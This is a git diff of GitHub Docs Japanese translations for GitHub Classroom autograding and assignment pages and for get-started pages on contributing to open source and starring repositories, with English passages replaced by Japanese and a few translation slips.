+You can see whether a student has joined the classroom and accepted or submitted an assignment in the **Classroom roster** tab for the assignment. You can also link students' {% data variables.product.prodname_dotcom %} aliases to their associated roster identifier and vice versa in this tab. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="個人課題" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-## Next steps
+## Monitoring students' progress
+The assignment overview page provides an overview of your assignment acceptances and student progress. You may have different summary information based on the configurations of your assignments.
 
-- Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
+- **Rostered students**: The number of students on the Classroom's roster.
+- **Added students**: The number of {% data variables.product.prodname_dotcom %} accounts that have accepted the assignment and are not associated with a roster identifier.
+-  **Accepted students**: The number of accounts have accepted this assignment.
+-  **Assignment submissions**: The number of students that have submitted the assignment. Submission is triggered at the assignment deadline.
+-  **Passing students**: The number of students currently passing the autograding tests for this assignment.
 
-- When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)."
+## 次のステップ
 
-- You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)."
+- 課題を作成した後、学生はGitおよび{% data variables.product.product_name %}の機能を使用して課題を開始できます。 学生はリポジトリのクローン、コミットのプッシュ、ブランチの管理、プルリクエストの作成およびレビュー、マージコンフリクトへの対処、およびIssueの変更に関するディスカッションが可能です。 あなたも学生も、リポジトリのコミット履歴をレビューできます。 For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Repositories](/repositories)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)."
 
-## Further reading
+- 課題を完了した学生がいる場合には、その学生のリポジトリにあるファイルをレビューできます。また、学生の作業についてをより深く理解するため、リポジトリの履歴や視覚化されたデータを確認できます。 詳しい情報については、「[リポジトリデータをグラフで可視化する](/github/visualizing-repository-data-with-graphs)」を参照してください。
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- プルリクエストの内の個々のコミットや行にコメントすることで、課題にフィードバックを行うことができます。 詳しい情報については、「[プルリクエストへコメントする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)」および「[コードから Issue を開く](/github/managing-your-work-on-github/opening-an-issue-from-code)」を参照してください。 一般的なエラーに対するフィードバックを行うための、返信テンプレートの作成に関する詳しい情報については、「[返信テンプレートについて](/github/writing-on-github/about-saved-replies)」を参照してください。
+
+## 参考リンク
+
+- 「[教室や研究で{% data variables.product.prodname_dotcom %}を使う](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)」
+- 「[学習管理システムを{% data variables.product.prodname_classroom %}に接続する](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)」
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
index 31eee9a49a..af643ace61 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -1,84 +1,76 @@
 ---
-title: Use autograding
-intro: You can automatically provide feedback on code submissions from your students by configuring tests to run in the assignment repository.
+title: 自動採点
+intro: 課題リポジトリで実行するテストを構成することで、学生から提出されたコードに対するフィードバックを自動的に提供できます。
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading
   - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers
   - /education/manage-coursework-with-github-classroom/use-autograding
 ---
-## About autograding
+
+## 自動採点について
 
 {% data reusables.classroom.about-autograding %}
 
-After a student accepts an assignment, on every push to the assignment repository, {% data variables.product.prodname_actions %} runs the commands for your autograding test in a Linux environment containing the student's newest code. {% data variables.product.prodname_classroom %} creates the necessary workflows for {% data variables.product.prodname_actions %}. You don't need experience with {% data variables.product.prodname_actions %} to use autograding.
+学生が課題を受け入れた後、{% data variables.product.prodname_actions %}は、自動採点テストを行うコマンドを、課題リポジトリへの各プッシュに対して学生の最新コードを含むLinux環境で実行します。 {% data variables.product.prodname_classroom %}は、 {% data variables.product.prodname_actions %}に必要なワークフローを作成します。 自動採点の使用にあたり、{% data variables.product.prodname_actions %}の経験は不要です。
 
-You can use a testing framework, run a custom command, write input/output tests, or combine different testing methods. The Linux environment for autograding contains many popular software tools. For more information, see the details for the latest version of Ubuntu in "[Specifications for  {% data variables.product.company_short %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+テストフレームワークを使用したり、カスタムコマンドを実行したり、入出力テストを記述したり、さまざまなテスト方法を組み合わせたりすることができます。 自動採点用のLinux環境には、一般的なソフトウェアツールが数多く含まれています。 詳しい情報については、「[{% data variables.product.company_short %}ホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners#supported-software)」に記載された、Ubuntu最新バージョンの詳細を参照してください。
 
-You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment.
+{% data variables.product.prodname_classroom %}の課題に移動して、自動採点テストでどの学生が合格したかの概要を表示できます。 緑色のチェックマークは、その学生がすべてのテストに合格したことを意味します。赤色のXは、その学生が一部またはすべてのテストで不合格だったことを意味します。 1つ以上のテストに得点を与えている場合、課題で獲得できる最高得点が吹き出しに表示されます。
 
-![Overview for an assignment with autograding results](/assets/images/help/classroom/autograding-hero.png)
+![自動採点結果を含む課題の概要](/assets/images/help/classroom/assignment-individual-hero.png)
 
-## Grading methods
+## 採点方法
 
-There are two grading methods: input/output tests and run command tests.
+採点方法には、入出力テストと実行コマンドテストの2つがあります。
 
-### Input/output test
+### 入出力テスト
 
-An input/output test optionally runs a setup command, then provides standard input to a test command. {% data variables.product.prodname_classroom %} evaluates the test command's output against an expected result.
+入出力テストは必要に応じてセットアップコマンドを実行してから、テストコマンドに標準出力を渡します。 {% data variables.product.prodname_classroom %}は、テストコマンドの出力を期待する結果と照らし合わせて評価します。
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate standard output for evaluation |
-| **Inputs** | Standard input for run command |
-| **Expected output** | The output that you want to see as standard output from the run command |
-| **Comparison** | The type of comparison between the run command's output and the expected output<br/><br/><ul><li>**Included**: Passes when the expected output appears<br/>anywhere in the standard output from the run command</li><li>**Exact**: Passes when the expected output is completely identical<br/>to the standard output from the run command</li><li>**Regex**: Passes if the regular expression in expected<br/>output matches against the standard output from the run command</li></ul> |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| 設定                  | 説明                                                                     |
+|:------------------- |:---------------------------------------------------------------------- |
+| **Test name**       | テストの名前。ログでテストを識別するためのものです。                                             |
+| **Setup command**   | *（オプション）* コンパイルやインストールなど、テストを実行する前のコマンド。                               |
+| **Run command**     | テストを実行し、評価用の標準出力を生成するコマンド。                                             |
+| **Inputs**          | 実行コマンドの標準入力。                                                           |
+| **Expected output** | 実行コマンドによる標準出力として期待する出力結果。                                              |
+| **Comparison**      | 実行コマンドの出力と期待する出力との比較方法。<br/><br/><ul><li>**Included**: 期待する出力が、実行コマンドによる標準出力の<br/>任意の場所に現れたら合格。</li><li>**Exact**: 期待する出力と、実行コマンドによる標準出力が<br/>完全に一致したら合格。</li><li>**Regex**: 期待する出力の正規表現が、実行コマンドによる<br/>標準出力に一致したら合格。</li></ul> |
+| **Timeout**         | 失敗の結果が出るまでにテストを実行する時間（分単位）。                                            |
+| **Points**          | *（オプション）* テストの合計点に占める点数。                                               |
 
-### Run command test
+### 実行コマンドテスト
 
-A run command test runs a setup command, then runs a test command. {% data variables.product.prodname_classroom %} checks the exit status of the test command. An exit code of `0` results in success, and any other exit code results in failure.
+実行コマンドテストはセットアップコマンドを実行してから、テストコマンドを実行します。 {% data variables.product.prodname_classroom %}は、テストコマンドの終了ステータスをチェックします。 終了コードが`0`の場合は成功、その他の場合は失敗です。
 
-{% data variables.product.prodname_classroom %} provides presets for language-specific run command tests for a variety of programming languages. For example, the **Run node** test prefills the setup command with `npm install` and the test command with `npm test`.
+{% data variables.product.prodname_classroom %}は、さまざまなプログラミング言語に対し、言語特有の実行コマンド用プリセットを提供しています。 たとえば、**Run node**テストではセットアップコマンドに`npm install`が、テストコマンドに`npm test`が事前に設定されています。
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate an exit code for evaluation |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| 設定                | 説明                                       |
+|:----------------- |:---------------------------------------- |
+| **Test name**     | テストの名前。ログでテストを識別するためのものです。               |
+| **Setup command** | *（オプション）* コンパイルやインストールなど、テストを実行する前のコマンド。 |
+| **Run command**   | テストを実行し、評価用の終了コードを生成するためのコマンド。           |
+| **Timeout**       | 失敗の結果が出るまでにテストを実行する時間（分単位）。              |
+| **Points**        | *（オプション）* テストの合計点に占める点数。                 |
 
-## Configuring autograding tests for an assignment
+## アシスタントのために自動採点テストを設定する
 
-You can add autograding tests during the creation of a new assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+新課題の作成時に、自動採点テストを追加できます。 {% data reusables.classroom.for-more-information-about-assignment-creation %}
 
-You can add, edit, or delete autograding tests for an existing assignment. If you change the autograding tests for an existing assignment, existing assignment repositories will not be affected. A student or team must accept the assignment and create a new assignment repository to use the new tests.
+既存の課題用の自動採点テストを追加、編集、削除できます。 既存の課題用の自動採点テストを変更した場合、既存の課題リポジトリは影響を受けません。 新しいテストを使用するには、学生またはチームが課題を受け入れ、新しい課題リポジトリを作成する必要があります。
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.assignments-click-pencil %}
-1. In the left sidebar, click **Grading and feedback**.
-  !["Grading and feedback" to the left of assignment's basics](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
-1. Add, edit, or delete an autograding test.
-    - To add a test, under "Add autograding tests", select the **Add test** drop-down menu, then click the grading method you want to use.
-       ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To edit a test, to the right of the test name, click {% octicon "pencil" aria-label="The pencil icon" %}.
-        ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To delete a test, to the right of the test name, click {% octicon "trash" aria-label="The trash icon" %}.
-        ![Trash icon for deleting an autograding test](/assets/images/help/classroom/autograding-click-trash.png)
-1. At the bottom of the page, click **Update assignment**.
-  !["Update assignment" button at the bottom of the page](/assets/images/help/classroom/assignments-click-update-assignment.png)
+1. 左サイトバーで、[**Grading and feedback**] をクリックします。 ![課題の基本情報の右側にある [Grading and feedback]](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
+1. 自動採点テストを追加、編集、または削除します。
+    - テストを追加するには、[Add autograding tests] の下にある [**Add test**] ドロップダウンメニューを選択し、使用する採点方法をクリックします。 ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png) テストを設定し、[**Save test case**] をクリックします。 ![自動採点テストの [Save test case] ボタン](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - テストを編集するには、テスト名の右側にある {% octicon "pencil" aria-label="The pencil icon" %} をクリックします。 ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png) テストを設定し、[**Save test case**] をクリックします。 ![自動採点テストの [Save test case] ボタン](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - テストを削除するには、テスト名の右側にある {% octicon "trash" aria-label="The trash icon" %} をクリックします。  ![自動採点テストを削除するためのゴミ箱アイコン](/assets/images/help/classroom/autograding-click-trash.png)
+1. ページの下部で、[**Update assignment**] をクリックします。 ![ページカブの [Update assignment] ボタン](/assets/images/help/classroom/assignments-click-update-assignment.png)
 
 ## Viewing and downloading results from autograding tests
 
@@ -92,10 +84,9 @@ You can also download a CSV of your students' autograding scores via the "Downlo
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-assignment-in-list %}
-1. To the right of a submission, click **View test**.
-  !["View test" button for an assignment submission](/assets/images/help/classroom/assignments-click-view-test.png)
-1. Review the test output. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+1. 提出物の右側にある、[**View text**] をクリックします。 ![課題提出物の [View test] ボタン](/assets/images/help/classroom/assignments-click-view-test.png)
+1. テストの出力結果をレビューします。 詳しい情報については、「[ワークフロー実行ログを使用する](/actions/managing-workflow-runs/using-workflow-run-logs)」を参照してください。
 
-## Further reading
+## 参考リンク
 
-- [{% data variables.product.prodname_actions %} documentation](/actions)
+- [{% data variables.product.prodname_actions %}ドキュメント](/actions)
diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
index 4d3f0a3309..5879bda0d1 100644
--- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
+++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
@@ -3,7 +3,7 @@ title: Use the Git and GitHub starter assignment
 intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment
 shortTitle: Starter assignment
@@ -11,48 +11,48 @@ shortTitle: Starter assignment
 
 The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics.
 
-## Prerequisites
+## 必要な環境
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
 ## Creating the starter assignment
 
-### If there are no existing assignments in the classroom
+### クラスルームに既存の課題がない場合
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
+1. {% data variables.product.prodname_classroom_with_url %}にサインインしてください。
+2. クラスルームにアクセスしてください。
 3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click  **Use starter assignment**.
 
 <div class="procedural-image-wrapper">
-  <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
+  <img alt="最初の課題の作成" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
 </div>
 
-### If there already are existing assignments in the classroom
+### クラスルームに既存の課題がある場合
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
+1. {% data variables.product.prodname_classroom_with_url %}にサインインしてください。
+2. クラスルームにアクセスしてください。
 3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner.
 
 <div class="procedural-image-wrapper">
-  <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
+  <img alt="'新しい課題'ボタン" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
 </div>
 
-## Setting up the basics for an assignment
+## 課題の基本情報をセットアップする
 
 Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
 
-- [Prerequisites](#prerequisites)
+- [必要な環境](#prerequisites)
 - [Creating the starter assignment](#creating-the-starter-assignment)
-  - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom)
-  - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom)
-- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment)
+  - [クラスルームに既存の課題がない場合](#if-there-are-no-existing-assignments-in-the-classroom)
+  - [クラスルームに既存の課題がある場合](#if-there-already-are-existing-assignments-in-the-classroom)
+- [課題の基本情報をセットアップする](#setting-up-the-basics-for-an-assignment)
   - [Importing the assignment](#importing-the-assignment)
   - [Naming the assignment](#naming-the-assignment)
-  - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-  - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
-- [Inviting students to an assignment](#inviting-students-to-an-assignment)
-- [Next steps](#next-steps)
-- [Further reading](#further-reading)
+  - [課題に期限を設定する](#assigning-a-deadline-for-an-assignment)
+  - [課題リポジトリの可視性を選択する](#choosing-a-visibility-for-assignment-repositories)
+- [学生を課題に招待する](#inviting-students-to-an-assignment)
+- [次のステップ](#next-steps)
+- [参考リンク](#further-reading)
 
 ### Importing the assignment
 
@@ -64,41 +64,41 @@ You first need to import the Git & {% data variables.product.product_name %} sta
 
 ### Naming the assignment
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+個人課題では、{% data variables.product.prodname_classroom %}はリポジトリのプレフィックスと学生の{% data variables.product.product_name %}ユーザ名から、リポジトリに名前を付けます。 デフォルトでは、リポジトリのプレフィックスが課題のタイトルとなります。 たとえば、課題に「assignment-1」と名付け、学生の{% data variables.product.product_name %}ユーザ名が「@octocat」である場合、「@octocat」の課題リポジトリ名は「`assignment-1-octocat`」となります。
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### 課題に期限を設定する
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing a visibility for assignment repositories
+### 課題リポジトリの可視性を選択する
 
-The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
+課題のためのリポジトリは、パブリックにもプライベートにもできます。 If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
 
 When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page.
 
 <div class="procedural-image-wrapper">
-  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+  <img alt="'続ける'ボタン" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
 </div>
 
-## Inviting students to an assignment
+## 学生を課題に招待する
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+課題の [**All students**] タブで、学生がクラスルームに参加して課題を受け入れたかや、サブミットしたかを表示できます。 {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="個人課題" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
 The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment.
 
-## Next steps
+## 次のステップ
 
 - Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" and "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
 
-## Further reading
+## 参考リンク
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- 「[教室や研究で{% data variables.product.prodname_dotcom %}を使う](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)」
+- 「[学習管理システムを{% data variables.product.prodname_classroom %}に接続する](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)」
diff --git a/translations/ja-JP/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/ja-JP/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
index 671697cc51..42c42d16cb 100644
--- a/translations/ja-JP/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
+++ b/translations/ja-JP/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Finding ways to contribute to open source on GitHub
-intro: 'You can find ways to contribute to open source projects on {% data variables.product.product_location %} that are relevant to you.'
+title: GitHub でオープンソースにコントリビュートする方法を見つける
+intro: '自分に関連する {% data variables.product.product_location %} のオープンソースプロジェクトにコントリビュートする方法を見つけることができます。'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 redirect_from:
   - /articles/where-can-i-find-open-source-projects-to-work-on
@@ -18,21 +18,22 @@ topics:
   - Open Source
 shortTitle: Contribute to open source
 ---
-## Discovering relevant projects
 
-If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
+## 関連プロジェクトを発見する
 
-If you've been active on {% data variables.product.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe).
+興味のある特定の Topics がある場合は、`github.com/topics/<topic>` にアクセスしてください。 たとえば、機械学習に興味がある場合は、https://github.com/topics/machine-learning にアクセスして、関連するプロジェクトと good first issue を見つけることができます。 [[Topics](https://github.com/topics)] にアクセスすると、人気のある Topics を閲覧できます。 興味のある Topics に一致するリポジトリを検索することもできます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories#search-by-topic)を参照してください。
 
-Keep up with recent activity from repositories you watch and people you follow in the "All activity" section of your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+{% data variables.product.product_location %} で積極的に活動している場合は、[Explore](https://github.com/explore) での過去のコントリビューション、Star、およびその他のアクティビティに基づいて、プロジェクトについての個別の推奨事項と good first issue を見つけることができます。 Explore ニュースレターにサインアップして、あなたの興味に基づいて {% data variables.product.product_name %} にコントリビュートする機会について記載されたメールを受け取ることもできます。 サインアップするには、「[Explore メールニュースレター](https://github.com/explore/subscribe)」を参照してください。
+
+パーソナルダッシュボードの [All activity] セクションで、Watch しているリポジトリやフォローしているユーザについての最新情報を入手できます。 詳しい情報については[パーソナルダッシュボードについて](/articles/about-your-personal-dashboard)を参照してください。
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Finding good first issues
+## good first issue を見つける
 
-If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute.
+作業するプロジェクトが既にわかっている場合は、[`github.com/<owner>/<repository>/contribute`] にアクセスして、そのリポジトリで初心者向けの Issue を見つけることができます。 たとえば、https://github.com/electron/electron/contribute で `electron/electron` に初めてコントリビュートする方法を見つけることができます。
 
-## Opening an issue
+## Issue を開くこと
 
 If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines.
 
@@ -41,7 +42,7 @@ If you encounter a bug in an open source project, check if the bug has already b
 There are a variety of ways that you can contribute to open source projects.
 
 ### Reproducing a reported bug
-You can contribute to an open source project by validating an issue or adding additional context to an existing issue. 
+You can contribute to an open source project by validating an issue or adding additional context to an existing issue.
 
 ### Testing a pull request
 You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request.
@@ -50,7 +51,7 @@ You can contribute to an open source project by merging a pull request into your
 You can contribute to an open source project by adding additional information to existing issues.
 
 
-## Further reading
+## 参考リンク
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- [Topics によるリポジトリの分類](/articles/classifying-your-repository-with-topics)
+- 「[Organization ダッシュボードについて](/articles/about-your-organization-dashboard)」
diff --git a/translations/ja-JP/content/get-started/exploring-projects-on-github/index.md b/translations/ja-JP/content/get-started/exploring-projects-on-github/index.md
index 35476b39db..d521a56457 100644
--- a/translations/ja-JP/content/get-started/exploring-projects-on-github/index.md
+++ b/translations/ja-JP/content/get-started/exploring-projects-on-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Exploring projects on GitHub
+title: GitHub 上でプロジェクトを探索する
 intro: 'Discover interesting projects on {% data variables.product.product_name %} and contribute to open source by collaborating with other people.'
 redirect_from:
   - /categories/stars
diff --git a/translations/ja-JP/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/ja-JP/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
index 6f823e3ea2..72bb301e65 100644
--- a/translations/ja-JP/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
+++ b/translations/ja-JP/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
@@ -1,6 +1,6 @@
 ---
-title: Saving repositories with stars
-intro: 'You can star repositories and topics to keep track of projects you find interesting{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}.'
+title: Star を付けてリポジトリを保存する
+intro: 'リポジトリや Topics に Star を付けて、興味のあるプロジェクトを追跡し{% ifversion fpt or ghec %}、ニュースフィードで関連コンテンツを見つけることができます{% endif %}。'
 redirect_from:
   - /articles/stars
   - /articles/about-stars
@@ -18,27 +18,26 @@ topics:
   - Repositories
 shortTitle: Save repos with stars
 ---
+
 You can search, sort, and filter your starred repositories and topics on your {% data variables.explore.your_stars_page %}.
 
-## About stars
+## Star について
 
-Starring makes it easy to find a repository or topic again later. You can see all the repositories and topics you have starred by going to your {% data variables.explore.your_stars_page %}.
+Star を付けることで、リポジトリやトピックが後で見つけやすくなります。 {% data variables.explore.your_stars_page %} にアクセスすると、Star 付きのリポジトリとトピックを確認することができます。
 
 {% ifversion fpt or ghec %}
-You can star repositories and topics to discover similar projects on {% data variables.product.product_name %}. When you star repositories or topics, {% data variables.product.product_name %} may recommend related content in the discovery view of your news feed. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
+リポジトリとトピックに Star を付けることで、{% data variables.product.product_name %} 上で類似のプロジェクトを見つけることができます。 リポジトリあるいはトピックに Star を付けると、{% data variables.product.product_name %} はニュースフィードの discovery ビューで関連するコンテンツを推薦することがあります。 For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
 {% endif %}
 
-Starring a repository also shows appreciation to the repository maintainer for their work. Many of {% data variables.product.prodname_dotcom %}'s repository rankings depend on the number of stars a repository has. In addition, [Explore](https://github.com/explore) shows popular repositories based on the number of stars they have.
